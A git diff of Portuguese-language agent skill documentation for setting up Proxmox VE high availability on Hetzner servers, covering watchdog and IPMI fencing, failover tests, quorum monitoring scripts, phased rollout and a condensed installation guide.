||||
# Ver decisões de failover
|
||||
grep "migrate\|relocate" /var/log/pve/tasks/index
|
||||
```
|
||||
|
||||
**6.2 Configurar Alertas**
|
||||
```bash
|
||||
# Via Web UI: Datacenter → Notifications
|
||||
|
||||
# Email alerts para:
|
||||
# - Node down
|
||||
# - Quorum lost
|
||||
# - VM failover events
|
||||
# - Fencing executed
|
||||
|
||||
# SMTP: mail.descomplicar.pt
|
||||
# To: admin@descomplicar.pt
|
||||
```
|
||||
|
||||
**6.3 Monitorização Contínua**
|
||||
```bash
|
||||
# Script de monitoring (cron cada 5min)
|
||||
#!/bin/bash
|
||||
# /usr/local/bin/check-ha-health.sh
|
||||
|
||||
ha_status=$(ha-manager status | grep "quorum:" | awk '{print $2}')
|
||||
|
||||
if [ "$ha_status" != "OK" ]; then
|
||||
echo "HA Quorum NOT OK" | mail -s "ALERT: HA Issue" admin@descomplicar.pt
|
||||
fi
|
||||
|
||||
# Cron
|
||||
# */5 * * * * /usr/local/bin/check-ha-health.sh
|
||||
```
|
||||
|
||||
### Fase 7: Production Rollout
|
||||
|
||||
**7.1 Migrar VMs Production para HA**
|
||||
|
||||
**Phased approach:**
|
||||
```bash
|
||||
# Week 1: VMs não-críticas (teste)
|
||||
ha-manager add vm:250 --group low
|
||||
|
||||
# Week 2: VMs médias (se Week 1 OK)
|
||||
ha-manager add vm:201,202 --group medium
|
||||
|
||||
# Week 3: VMs críticas (se tudo OK)
|
||||
ha-manager add vm:200,300 --group critical
|
||||
```
|
||||
|
||||
**7.2 Documentar Runbook**
|
||||
|
||||
**Criar:** `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
|
||||
|
||||
**Conteúdo:**
|
||||
- Detectar failover event
|
||||
- Validar VM booted corretamente
|
||||
- Investigar causa node failure
|
||||
- Restore node original
|
||||
- Migrate VM back (se necessário)
|
||||
|
||||
## Output Summary
|
||||
|
||||
```
|
||||
✅ HA configurado: Cluster descomplicar
|
||||
|
||||
🛡️ Fencing:
|
||||
- Type: Watchdog (softdog)
|
||||
- Nodes: 2 nodes configured
|
||||
- Test: Successful ✓
|
||||
|
||||
📋 HA Groups:
|
||||
- Critical (priority 100): 2 VMs
|
||||
- Medium (priority 50): 0 VMs
|
||||
- Low (priority 10): 0 VMs
|
||||
|
||||
🖥️ HA Resources:
|
||||
- vm:200 (EasyPanel) - Critical
|
||||
- vm:300 (CWP) - Critical
|
||||
- Max restart: 3
|
||||
- Max relocate: 2
|
||||
|
||||
⚡ Failover Tests:
|
||||
✓ Clean shutdown → Auto restart
|
||||
✓ Node crash → Relocate (~2min)
|
||||
✓ Live migration → <10s downtime
|
||||
|
||||
📊 Expected Metrics:
|
||||
- Detection time: ~60s
|
||||
- Fencing time: ~30s
|
||||
- Boot time: ~60-120s
|
||||
- Total failover: ~2-3min (sem shared storage)
|
||||
|
||||
⚠️ Limitations (sem shared storage):
|
||||
- Failover = boot time (não instant)
|
||||
- Live migration copia disk (lento)
|
||||
- Considerar shared storage futuro
|
||||
|
||||
🔔 Monitoring:
|
||||
- Quorum check: cada 5min
|
||||
- Alerts: Email admin@descomplicar.pt
|
||||
- Logs: journalctl -u pve-ha-*
|
||||
|
||||
📋 Next Steps:
|
||||
1. Monitorizar por 30 dias
|
||||
2. Adicionar mais VMs a HA gradualmente
|
||||
3. Considerar shared storage (NFS/Ceph)
|
||||
4. Documentar procedures em PROC-HA-Failover.md
|
||||
5. Treinar equipa em failover manual
|
||||
|
||||
⏱️ Configuration time: ~30min
|
||||
```
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
### DO
|
||||
- ✅ Testar failover em VMs teste ANTES production
|
||||
- ✅ Configurar fencing (watchdog mínimo, IPMI ideal)
|
||||
- ✅ Monitorizar quorum 24/7
|
||||
- ✅ Documentar runbooks failover
|
||||
- ✅ Alerts email para eventos críticos
|
||||
- ✅ Backup ANTES activar HA
|
||||
**Fazer:**
|
||||
- Testar failover em VMs teste ANTES production
|
||||
- Configurar fencing (watchdog minimo, IPMI ideal)
|
||||
- Monitorizar quorum 24/7
|
||||
- Documentar runbooks failover
|
||||
- Backup ANTES activar HA
|
||||
|
||||
### DON'T
|
||||
- ❌ HA sem fencing (risco split-brain)
|
||||
- ❌ max_relocate muito alto (VM fica "bouncing")
|
||||
- ❌ Assumir instant failover sem shared storage
|
||||
- ❌ Testar failover em production sem plano
|
||||
- ❌ Ignorar quorum warnings
|
||||
**Nao fazer:**
|
||||
- HA sem fencing (risco split-brain)
|
||||
- max_relocate muito alto (VM fica "bouncing")
|
||||
- Assumir instant failover sem shared storage
|
||||
- Testar failover em production sem plano
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### VM não failover
|
||||
### VM nao failover
|
||||
```bash
|
||||
# Verificar HA enabled
|
||||
ha-manager status | grep vm:ID
|
||||
|
||||
# Verificar quorum
|
||||
pvecm status
|
||||
|
||||
# Verificar fencing functional
|
||||
# (watchdog ou IPMI test)
|
||||
|
||||
# Logs
|
||||
journalctl -u pve-ha-crm -f
|
||||
```
|
||||
|
||||
### Split-brain detected
|
||||
```bash
|
||||
# CRITICAL: Ambos nodes pensam que são master
|
||||
|
||||
# Shutdown 1 node completamente
|
||||
systemctl poweroff
|
||||
|
||||
# No node restante:
|
||||
pvecm expected 1 # Force quorum com 1 node
|
||||
|
||||
# Resolver networking
|
||||
# Rejoin node shutdown
|
||||
# Resolver networking, rejoin node shutdown
|
||||
```
|
||||
|
||||
### Failover loop (VM keeps restarting)
|
||||
```bash
|
||||
# VM falha → restart → falha → restart
|
||||
|
||||
# Verificar:
|
||||
# 1. VM logs (qm log ID)
|
||||
# 2. max_restart atingido?
|
||||
# 3. Problema configuração VM?
|
||||
|
||||
# Pause HA temporário
|
||||
# Pause HA temporario
|
||||
ha-manager set vm:ID --state disabled
|
||||
|
||||
# Fix VM issue
|
||||
# Re-enable HA
|
||||
ha-manager set vm:ID --state started
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- `references/fencing-configuration.md` - Detalhes Watchdog, IPMI e Network fencing
|
||||
- `references/failover-testing.md` - Testes, policies, monitoring, alertas, production rollout
|
||||
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
|
||||
- **HA Manager Docs:** https://pve.proxmox.com/pve-docs/ha-manager.1.html
|
||||
- **Fencing:** https://pve.proxmox.com/wiki/Fencing
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
|
||||
|
||||
---
|
||||
|
||||
**/** @author Descomplicar® | @copyright 2026 **/
|
||||
|
||||
185
infraestrutura/skills/proxmox-ha/references/failover-testing.md
Normal file
185
infraestrutura/skills/proxmox-ha/references/failover-testing.md
Normal file
@@ -0,0 +1,185 @@
|
||||
# Failover Testing - Proxmox HA
|
||||
|
||||
Procedimentos detalhados de teste de failover e monitoring.
|
||||
|
||||
---
|
||||
|
||||
## Criar VM Teste HA
|
||||
|
||||
```bash
|
||||
# VM 999 para teste (nao production)
|
||||
qm create 999 --name ha-test --memory 512 --cores 1
|
||||
|
||||
# Adicionar a HA
|
||||
ha-manager add vm:999 --state started
|
||||
```
|
||||
|
||||
## Teste 1: Shutdown Clean
|
||||
|
||||
```bash
|
||||
# Node onde VM 999 corre:
|
||||
qm shutdown 999
|
||||
|
||||
# HA Manager deve:
|
||||
# 1. Detectar shutdown (~30s)
|
||||
# 2. Tentar restart no mesmo node (max_restart vezes)
|
||||
# 3. Se continua down -> relocate para outro node
|
||||
|
||||
# Monitorizar
|
||||
watch -n 1 'ha-manager status | grep vm:999'
|
||||
```
|
||||
|
||||
## Teste 2: Node Crash (Simulado)
|
||||
|
||||
```bash
|
||||
# CUIDADO: Apenas em teste, nao production
|
||||
|
||||
# Shutdown abrupto do node onde VM 999 corre
|
||||
# (simula hardware failure)
|
||||
echo b > /proc/sysrq-trigger # Reboot forcado
|
||||
|
||||
# Outro node deve:
|
||||
# 1. Detectar node down via quorum (~1min)
|
||||
# 2. Fence node (via watchdog/IPMI)
|
||||
# 3. Boot VM 999 no node surviving
|
||||
|
||||
# Timeline esperado:
|
||||
# - 0s: Node crash
|
||||
# - ~60s: Quorum detecta node missing
|
||||
# - ~90s: Fencing executado
|
||||
# - ~120s: VM boota em outro node
|
||||
|
||||
# Total downtime: ~2-3min (sem shared storage)
|
||||
# Com shared storage: ~30-60s
|
||||
```
|
||||
|
||||
## Teste 3: Live Migration Manual
|
||||
|
||||
```bash
|
||||
# Migration manual (com VM running)
|
||||
qm migrate 999 <target-node-name> --online
|
||||
|
||||
# Com shared storage: <10s downtime
|
||||
# Sem shared storage: copia disk = lento (GB/min)
|
||||
|
||||
# Para production VMs:
|
||||
# - Fazer em janela manutencao se sem shared storage
|
||||
# - Live migration OK se shared storage
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## HA Policies e Tuning
|
||||
|
||||
### Shutdown Policy
|
||||
|
||||
```bash
|
||||
# Default: conditional (HA Manager decide)
|
||||
# Opcoes: conditional, freeze, failover, migrate
|
||||
|
||||
# Para VMs criticas que NAO devem migrar durante manutencao:
|
||||
ha-manager set vm:200 --state freeze
|
||||
|
||||
# Para forcar migrate durante manutencao:
|
||||
ha-manager set vm:200 --state migrate
|
||||
```
|
||||
|
||||
### Maintenance Mode
|
||||
|
||||
```bash
|
||||
# Colocar node em maintenance (nao recebe novos VMs HA)
|
||||
ha-manager set-node-state <node-name> maintenance
|
||||
|
||||
# VMs HA existentes:
|
||||
# - Nao migram automaticamente
|
||||
# - Mas nao recebem novas em failover
|
||||
|
||||
# Sair de maintenance
|
||||
ha-manager set-node-state <node-name> active
|
||||
```
|
||||
|
||||
### Priorities (Load Balance)
|
||||
|
||||
```bash
|
||||
# Preferencia de nodes por VM
|
||||
|
||||
# VM 200: Preferir Node B
|
||||
ha-manager set vm:200 --group critical --restricted
|
||||
|
||||
# restricted: VM so corre nos nodes do grupo
|
||||
# unrestricted: VM pode correr em qualquer node (fallback)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Monitoring e Alertas
|
||||
|
||||
### HA Manager Logs
|
||||
|
||||
```bash
|
||||
# Logs HA Manager
|
||||
journalctl -u pve-ha-lrm -f # Local Resource Manager
|
||||
journalctl -u pve-ha-crm -f # Cluster Resource Manager
|
||||
|
||||
# Ver decisoes de failover
|
||||
grep "migrate\|relocate" /var/log/pve/tasks/index
|
||||
```
|
||||
|
||||
### Configurar Alertas
|
||||
|
||||
```bash
|
||||
# Via Web UI: Datacenter -> Notifications
|
||||
|
||||
# Email alerts para:
|
||||
# - Node down
|
||||
# - Quorum lost
|
||||
# - VM failover events
|
||||
# - Fencing executed
|
||||
|
||||
# SMTP: mail.descomplicar.pt
|
||||
# To: admin@descomplicar.pt
|
||||
```
|
||||
|
||||
### Script Monitorizacao (cron cada 5min)
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /usr/local/bin/check-ha-health.sh
|
||||
|
||||
ha_status=$(ha-manager status | grep "quorum:" | awk '{print $2}')
|
||||
|
||||
if [ "$ha_status" != "OK" ]; then
|
||||
echo "HA Quorum NOT OK" | mail -s "ALERT: HA Issue" admin@descomplicar.pt
|
||||
fi
|
||||
|
||||
# Cron
|
||||
# */5 * * * * /usr/local/bin/check-ha-health.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Production Rollout
|
||||
|
||||
Phased approach:
|
||||
|
||||
```bash
|
||||
# Week 1: VMs nao-criticas (teste)
|
||||
ha-manager add vm:250 --group low
|
||||
|
||||
# Week 2: VMs medias (se Week 1 OK)
|
||||
ha-manager add vm:201,202 --group medium
|
||||
|
||||
# Week 3: VMs criticas (se tudo OK)
|
||||
ha-manager add vm:200,300 --group critical
|
||||
```
|
||||
|
||||
### Documentar Runbook
|
||||
|
||||
Criar: `06-Operacoes/Procedimentos/D7-Tecnologia/PROC-HA-Failover.md`
|
||||
|
||||
Conteudo:
|
||||
- Detectar failover event
|
||||
- Validar VM booted correctamente
|
||||
- Investigar causa node failure
|
||||
- Restore node original
|
||||
- Migrate VM back (se necessario)
|
||||
@@ -0,0 +1,60 @@
|
||||
# Fencing Configuration - Proxmox HA
|
||||
|
||||
Configuracao detalhada de fencing devices (STONITH) para High Availability.
|
||||
|
||||
---
|
||||
|
||||
## Opcao A: Watchdog (Software Fencing)
|
||||
|
||||
Mais simples, menos confiavel:
|
||||
|
||||
```bash
|
||||
# Instalar watchdog em ambos nodes
|
||||
apt install watchdog
|
||||
|
||||
# Load kernel module
|
||||
modprobe softdog
|
||||
|
||||
# Auto-load on boot
|
||||
echo "softdog" >> /etc/modules
|
||||
|
||||
# Configurar HA Manager para usar watchdog
|
||||
# (automatico quando HA activado)
|
||||
```
|
||||
|
||||
## Opcao B: IPMI/iLO (Hardware Fencing)
|
||||
|
||||
Mais confiavel, requer IPMI:
|
||||
|
||||
```bash
|
||||
# Verificar IPMI disponivel
|
||||
ipmitool lan print
|
||||
|
||||
# Configurar IPMI credentials (via BIOS ou ipmitool)
|
||||
|
||||
# Configurar em Proxmox (Web UI):
|
||||
# Datacenter -> Fencing -> Add
|
||||
# Type: IPMI
|
||||
# IP: <node-ipmi-ip>
|
||||
# Username: admin
|
||||
# Password: <ipmi-pass>
|
||||
|
||||
# Test
|
||||
fence_ipmilan -a <node-ipmi-ip> -l admin -p <pass> -o status
|
||||
```
|
||||
|
||||
## Opcao C: Network Fencing (Menos Confiavel)
|
||||
|
||||
Usar apenas se IPMI nao disponivel:
|
||||
|
||||
```bash
|
||||
# SSH-based fencing (perigoso)
|
||||
# Depende de network estar up
|
||||
# Nao recomendado para production
|
||||
```
|
||||
|
||||
## Recomendacao Cluster Descomplicar
|
||||
|
||||
- **Inicio:** Watchdog (simple, funcional)
|
||||
- **Producao:** IPMI se hardware suporta
|
||||
- **Evitar:** Network fencing
|
||||
@@ -1,20 +1,11 @@
|
||||
---
|
||||
name: proxmox-setup
|
||||
description: Instalação completa de Proxmox VE 8.x em Hetzner - installimage, ZFS RAID-1, NAT networking, vSwitch. Use when user mentions "proxmox install", "setup proxmox", "proxmox hetzner", "new proxmox node".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 1.0.0
|
||||
quality_score: 75
|
||||
user_invocable: true
|
||||
desk_task: 1712
|
||||
allowed-tools: Task, Read, Bash
|
||||
dependencies:
|
||||
- ssh-unified
|
||||
- notebooklm
|
||||
description: Instalacao completa de Proxmox VE 8.x em Hetzner -- installimage, ZFS RAID-1, NAT networking single-IP e vSwitch com optimizacoes.
|
||||
---
|
||||
|
||||
# Proxmox Setup
|
||||
|
||||
Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado Hetzner com ZFS RAID-1, networking NAT single-IP e optimizações.
|
||||
Instalacao completa e configuracao de Proxmox VE 8.x em servidor dedicado Hetzner com ZFS RAID-1, networking NAT single-IP e optimizacoes.
|
||||
|
||||
## Quando Usar
|
||||
|
||||
@@ -22,7 +13,6 @@ Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado He
|
||||
- Setup inicial com ZFS mirror NVMe
|
||||
- Configurar networking NAT para single-IP
|
||||
- Preparar node para clustering futuro
|
||||
- Aplicar Hetzner-specific gotchas e optimizações
|
||||
|
||||
## Sintaxe
|
||||
|
||||
@@ -30,19 +20,6 @@ Instalação completa e configuração de Proxmox VE 8.x em servidor dedicado He
|
||||
/proxmox-setup <server-ip> <hostname> [--zfs-pool rpool] [--arc-max 16G] [--vswitch]
|
||||
```
|
||||
|
||||
## Exemplos
|
||||
|
||||
```bash
|
||||
# Setup básico single-IP NAT
|
||||
/proxmox-setup 138.201.45.67 cluster.descomplicar.pt
|
||||
|
||||
# Setup com vSwitch (MTU 1400)
|
||||
/proxmox-setup 138.201.45.67 cluster.descomplicar.pt --vswitch
|
||||
|
||||
# Custom ZFS ARC (para 64GB RAM)
|
||||
/proxmox-setup 138.201.45.67 pve-node1.descomplicar.pt --arc-max 8G
|
||||
```
|
||||
|
||||
## Knowledge Sources (Consultar SEMPRE)
|
||||
|
||||
### NotebookLM Proxmox Research
|
||||
@@ -53,104 +30,35 @@ mcp__notebooklm__notebook_query \
|
||||
```
|
||||
|
||||
### Hub Docs
|
||||
- `/media/ealmeida/Dados/Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md`
|
||||
- Módulo 1: Instalação (installimage, ZFS vs LVM, Kernel PVE)
|
||||
- Módulo 2: Networking (NAT masquerading, vSwitch MTU 1400)
|
||||
- `Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md`
|
||||
|
||||
---
|
||||
|
||||
## Workflow Completo
|
||||
|
||||
### Fase 1: Pre-Installation Checks
|
||||
|
||||
**1.1 Verificar Rescue Mode**
|
||||
```bash
|
||||
# Via SSH MCP
|
||||
# Via SSH MCP - verificar Rescue Mode
|
||||
mcp__ssh-unified__ssh_execute \
|
||||
server:"hetzner-rescue" \
|
||||
command:"uname -a && df -h"
|
||||
|
||||
# Expected: rescue kernel, /dev/md* present
|
||||
```
|
||||
|
||||
**1.2 Consultar NotebookLM para Hardware Specs**
|
||||
```bash
|
||||
# Query: "hetzner installimage zfs raid configuration"
|
||||
# Obter template correcto para specs do servidor
|
||||
```
|
||||
|
||||
**1.3 Backup de Configuração Actual (se aplicável)**
|
||||
```bash
|
||||
ssh root@SERVER_IP "tar -czf /tmp/backup-configs.tar.gz /etc /root"
|
||||
scp root@SERVER_IP:/tmp/backup-configs.tar.gz ~/backups/
|
||||
```
|
||||
Consultar NotebookLM para hardware specs e template correcto.
|
||||
|
||||
### Fase 2: installimage com ZFS RAID-1
|
||||
|
||||
**2.1 Criar Template installimage**
|
||||
Detalhes completos do template installimage e configuracao ZFS em: `references/installimage-zfs.md`
|
||||
|
||||
Template base para 2x NVMe 1TB + HDD 16TB:
|
||||
```bash
|
||||
DRIVE1 /dev/nvme0n1
|
||||
DRIVE2 /dev/nvme1n1
|
||||
SWRAID 0
|
||||
SWRAIDLEVEL 0
|
||||
BOOTLOADER grub
|
||||
HOSTNAME HOSTNAME_PLACEHOLDER
|
||||
PART /boot ext3 1024M
|
||||
PART lvm vg0 all
|
||||
|
||||
LV vg0 root / ext4 50G
|
||||
LV vg0 swap swap swap 16G
|
||||
LV vg0 tmp /tmp ext4 10G
|
||||
LV vg0 home /home ext4 20G
|
||||
|
||||
IMAGE /root/images/Debian-bookworm-latest-amd64-base.tar.gz
|
||||
```
|
||||
|
||||
**CRITICAL: Depois de boot, converter para ZFS:**
|
||||
|
||||
**2.2 Executar installimage**
|
||||
```bash
|
||||
# No Rescue Mode
|
||||
installimage
|
||||
|
||||
# Seleccionar Debian 12 (Bookworm)
|
||||
# Copiar template acima
|
||||
# Salvar e confirmar
|
||||
# Reboot automático
|
||||
```
|
||||
|
||||
**2.3 Conversão para ZFS (Pós-Install)**
|
||||
|
||||
**IMPORTANTE:** installimage não suporta ZFS directamente. Workflow:
|
||||
1. Instalar Debian 12 com LVM (installimage)
|
||||
Resumo do workflow:
|
||||
1. Instalar Debian 12 com LVM via installimage
|
||||
2. Boot em Debian
|
||||
3. Instalar ZFS + Proxmox
|
||||
4. Migrar para ZFS pool (ou aceitar LVM para root, ZFS para VMs)
|
||||
|
||||
**Opção A: ZFS para VMs apenas (RECOMENDADO para Hetzner)**
|
||||
```bash
|
||||
# Criar ZFS pool em NVMe para VMs
|
||||
zpool create -f \
|
||||
-o ashift=12 \
|
||||
-o compression=lz4 \
|
||||
-o atime=off \
|
||||
rpool mirror /dev/nvme0n1p3 /dev/nvme1n1p3
|
||||
|
||||
# Criar datasets
|
||||
zfs create rpool/vm-disks
|
||||
zfs create rpool/ct-volumes
|
||||
```
|
||||
|
||||
**Opção B: ZFS root (AVANÇADO - requer reinstall manual)**
|
||||
- Não suportado por installimage
|
||||
- Requer particionamento manual + debootstrap
|
||||
- Consultar: https://pve.proxmox.com/wiki/ZFS_on_Linux
|
||||
|
||||
**Recomendação para Cluster Descomplicar:** Opção A (LVM root, ZFS para VMs)
|
||||
4. Criar ZFS pool para VMs (Opcao A recomendada: LVM root, ZFS para VMs)
|
||||
|
||||
### Fase 3: Proxmox VE 8.x Installation
|
||||
|
||||
**3.1 Configurar Repositórios Proxmox**
|
||||
```bash
|
||||
# Adicionar repo Proxmox
|
||||
echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bookworm pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list
|
||||
@@ -158,375 +66,86 @@ echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bookworm pve-no-su
|
||||
# Adicionar key
|
||||
wget https://enterprise.proxmox.com/debian/proxmox-release-bookworm.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg
|
||||
|
||||
# Update
|
||||
# Update e instalar
|
||||
apt update && apt full-upgrade
|
||||
```
|
||||
|
||||
**3.2 Instalar Proxmox VE**
|
||||
```bash
|
||||
apt install proxmox-ve postfix open-iscsi chrony
|
||||
```
|
||||
|
||||
**Configuração Postfix:**
|
||||
- Seleccionar "Local only"
|
||||
- System mail name: HOSTNAME
|
||||
|
||||
**3.3 Remover Kernel Debian (usar PVE kernel)**
|
||||
```bash
|
||||
# Verificar kernel actual
|
||||
uname -r # Should be pve kernel
|
||||
|
||||
# Remover kernel Debian se boot em PVE kernel
|
||||
# Remover kernel Debian (apos boot em PVE kernel)
|
||||
apt remove linux-image-amd64 'linux-image-6.1*'
|
||||
update-grub
|
||||
```
|
||||
|
||||
**3.4 Reboot em Proxmox Kernel**
|
||||
```bash
|
||||
reboot
|
||||
```
|
||||
|
||||
### Fase 4: ZFS Tuning (128GB RAM)
|
||||
### Fase 4: ZFS Tuning
|
||||
|
||||
**4.1 Configurar ARC Limits**
|
||||
```bash
|
||||
# ARC max 16GB (deixa 110GB para VMs)
|
||||
# ARC min 4GB
|
||||
echo "options zfs zfs_arc_max=17179869184" >> /etc/modprobe.d/zfs.conf
|
||||
echo "options zfs zfs_arc_min=4294967296" >> /etc/modprobe.d/zfs.conf
|
||||
|
||||
# Aplicar
|
||||
update-initramfs -u -k all
|
||||
```
|
||||
|
||||
**4.2 Optimizar ZFS para NVMe**
|
||||
```bash
|
||||
# Verificar ashift (deve ser 12 para NVMe 4K sectors)
|
||||
zdb -C rpool | grep ashift
|
||||
|
||||
# Activar compression LZ4 (se ainda não)
|
||||
zfs set compression=lz4 rpool
|
||||
|
||||
# Disable atime (performance)
|
||||
zfs set atime=off rpool
|
||||
|
||||
# Snapshot visibility
|
||||
zfs set snapdir=hidden rpool
|
||||
```
|
||||
|
||||
**4.3 Criar ZFS Datasets para PBS (se HDD 16TB)**
|
||||
```bash
|
||||
# Dataset para PBS datastore
|
||||
zfs create rpool/pbs-datastore
|
||||
zfs set mountpoint=/mnt/pbs-datastore rpool/pbs-datastore
|
||||
zfs set compression=lz4 rpool/pbs-datastore
|
||||
zfs set dedup=off rpool/pbs-datastore
|
||||
```
|
||||
Detalhes em: `references/installimage-zfs.md` (seccao ZFS Tuning)
|
||||
|
||||
### Fase 5: Networking NAT (Single-IP Hetzner)
|
||||
|
||||
**5.1 Configurar /etc/network/interfaces**
|
||||
Configuracao completa de NAT, port forwarding e vSwitch em: `references/networking-nat.md`
|
||||
|
||||
**Template para Single-IP NAT:**
|
||||
```bash
|
||||
auto lo
|
||||
iface lo inet loopback
|
||||
### Fase 6: Proxmox Web UI + Storage
|
||||
|
||||
# Interface física (verificar nome com 'ip a')
|
||||
auto eno1
|
||||
iface eno1 inet static
|
||||
address SERVER_IP/32
|
||||
gateway GATEWAY_IP
|
||||
pointopoint GATEWAY_IP
|
||||
|
||||
# Bridge interna para VMs (NAT)
|
||||
auto vmbr0
|
||||
iface vmbr0 inet static
|
||||
address 10.10.10.1/24
|
||||
bridge-ports none
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
|
||||
# NAT masquerading
|
||||
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
post-up iptables -t nat -A POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
|
||||
post-down iptables -t nat -D POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
|
||||
```
|
||||
|
||||
**CRITICAL Hetzner Gotchas:**
|
||||
- Gateway /32 point-to-point (não /24 ou /26)
|
||||
- IP e gateway podem estar em subnets diferentes
|
||||
- Verificar IP real e gateway no Hetzner Robot
|
||||
|
||||
**5.2 Aplicar Networking**
|
||||
```bash
|
||||
# Test config
|
||||
ifup --no-act vmbr0
|
||||
|
||||
# Apply
|
||||
systemctl restart networking
|
||||
|
||||
# Verificar
|
||||
ip a
|
||||
ping -c 3 8.8.8.8
|
||||
```
|
||||
|
||||
**5.3 Port Forwarding (Opcional - para expor VMs)**
|
||||
```bash
|
||||
# Exemplo: Redirecionar porta 8080 host → porta 80 VM 10.10.10.100
|
||||
iptables -t nat -A PREROUTING -i eno1 -p tcp --dport 8080 -j DNAT --to 10.10.10.100:80
|
||||
|
||||
# Persistir com iptables-persistent
|
||||
apt install iptables-persistent
|
||||
iptables-save > /etc/iptables/rules.v4
|
||||
```
|
||||
|
||||
### Fase 6: vSwitch Configuration (Opcional)
|
||||
|
||||
**Se --vswitch flag presente:**
|
||||
|
||||
**6.1 Configurar VLAN no Robot Panel**
|
||||
- Hetzner Robot → vSwitch → Create VLAN
|
||||
- Anotar VLAN ID (ex: 4000)
|
||||
|
||||
**6.2 Adicionar ao /etc/network/interfaces**
|
||||
```bash
|
||||
# vSwitch interface (MTU 1400 OBRIGATÓRIO)
|
||||
auto enp7s0.4000
|
||||
iface enp7s0.4000 inet manual
|
||||
mtu 1400
|
||||
|
||||
# Bridge vSwitch
|
||||
auto vmbr1
|
||||
iface vmbr1 inet static
|
||||
address 10.0.0.1/24
|
||||
bridge-ports enp7s0.4000
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
mtu 1400
|
||||
```
|
||||
|
||||
**CRITICAL:** MTU 1400 não negociável para vSwitch Hetzner.
|
||||
|
||||
### Fase 7: Proxmox Web UI + Storage
|
||||
|
||||
**7.1 Aceder Web UI**
|
||||
```
|
||||
https://SERVER_IP:8006
|
||||
|
||||
User: root
|
||||
Password: (root password do servidor)
|
||||
```
|
||||
|
||||
**7.2 Remover Enterprise Repo (se no-subscription)**
|
||||
```bash
|
||||
# Comentar enterprise repo
|
||||
sed -i 's/^deb/#deb/' /etc/apt/sources.list.d/pve-enterprise.list
|
||||
|
||||
# Verificar
|
||||
apt update
|
||||
```
|
||||
|
||||
**7.3 Configurar Storage no Web UI**
|
||||
- Datacenter → Storage → Add
|
||||
- **Directory:** Local (já existe)
|
||||
- **ZFS:** rpool/vm-disks (para VMs)
|
||||
- **PBS:** Adicionar PBS server (se já instalado)
|
||||
Storage no Web UI: Datacenter -> Storage -> Add (Directory, ZFS, PBS).
|
||||
|
||||
### Fase 8: Validation Checklist
|
||||
### Fase 7: Validation Checklist
|
||||
|
||||
**8.1 Verificações Técnicas**
|
||||
```bash
|
||||
# PVE version
|
||||
pveversion -v
|
||||
|
||||
# ZFS status
|
||||
zpool status
|
||||
zpool list
|
||||
zfs list
|
||||
|
||||
# Networking
|
||||
ping -c 3 8.8.8.8
|
||||
curl -I https://www.google.com
|
||||
|
||||
# Web UI
|
||||
curl -k https://localhost:8006
|
||||
|
||||
# ARC stats
|
||||
arc_summary | grep "ARC size"
|
||||
pveversion -v # PVE version
|
||||
zpool status # ZFS status
|
||||
zpool list && zfs list
|
||||
ping -c 3 8.8.8.8 # Networking
|
||||
curl -k https://localhost:8006 # Web UI
|
||||
arc_summary | grep "ARC size" # ARC stats
|
||||
```
|
||||
|
||||
**8.2 Security Hardening**
|
||||
**Security Hardening:**
|
||||
```bash
|
||||
# SSH: Disable root password (usar keys)
|
||||
sed -i 's/#PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
|
||||
systemctl restart sshd
|
||||
|
||||
# Firewall básico (opcional - configurar via Web UI depois)
|
||||
pve-firewall start
|
||||
```
|
||||
|
||||
**8.3 Criar VM Teste**
|
||||
```bash
|
||||
# Via CLI (ou Web UI)
|
||||
qm create 100 \
|
||||
--name test-vm \
|
||||
--memory 1024 \
|
||||
--cores 1 \
|
||||
--net0 virtio,bridge=vmbr0 \
|
||||
--ide2 local:iso/debian-12.iso,media=cdrom \
|
||||
--bootdisk scsi0 \
|
||||
--scsi0 rpool/vm-disks:10
|
||||
|
||||
# Start
|
||||
qm start 100
|
||||
|
||||
# Verificar consegue aceder internet (NAT funcional)
|
||||
```
|
||||
|
||||
## Output Summary
|
||||
|
||||
```
|
||||
✅ Proxmox VE 8.x instalado: HOSTNAME
|
||||
|
||||
🖥️ Hardware:
|
||||
- CPU: (detect)
|
||||
- RAM: 128GB (ARC max 16GB, disponível 110GB para VMs)
|
||||
- Storage: 2x 1TB NVMe ZFS RAID-1 + 16TB HDD
|
||||
|
||||
💾 Storage:
|
||||
- ZFS pool: rpool (mirror)
|
||||
- Compression: LZ4 (ratio ~1.5x)
|
||||
- ARC: 4GB min, 16GB max
|
||||
- Datasets: vm-disks, ct-volumes, pbs-datastore
|
||||
|
||||
🌐 Networking:
|
||||
- Mode: NAT masquerading (single-IP)
|
||||
- Internal subnet: 10.10.10.0/24
|
||||
- Gateway: GATEWAY_IP (point-to-point)
|
||||
[Se vSwitch] vSwitch VLAN 4000: 10.0.0.0/24 (MTU 1400)
|
||||
|
||||
🔐 Access:
|
||||
- Web UI: https://SERVER_IP:8006
|
||||
- SSH: root@SERVER_IP (key only)
|
||||
- API: https://SERVER_IP:8006/api2/json
|
||||
|
||||
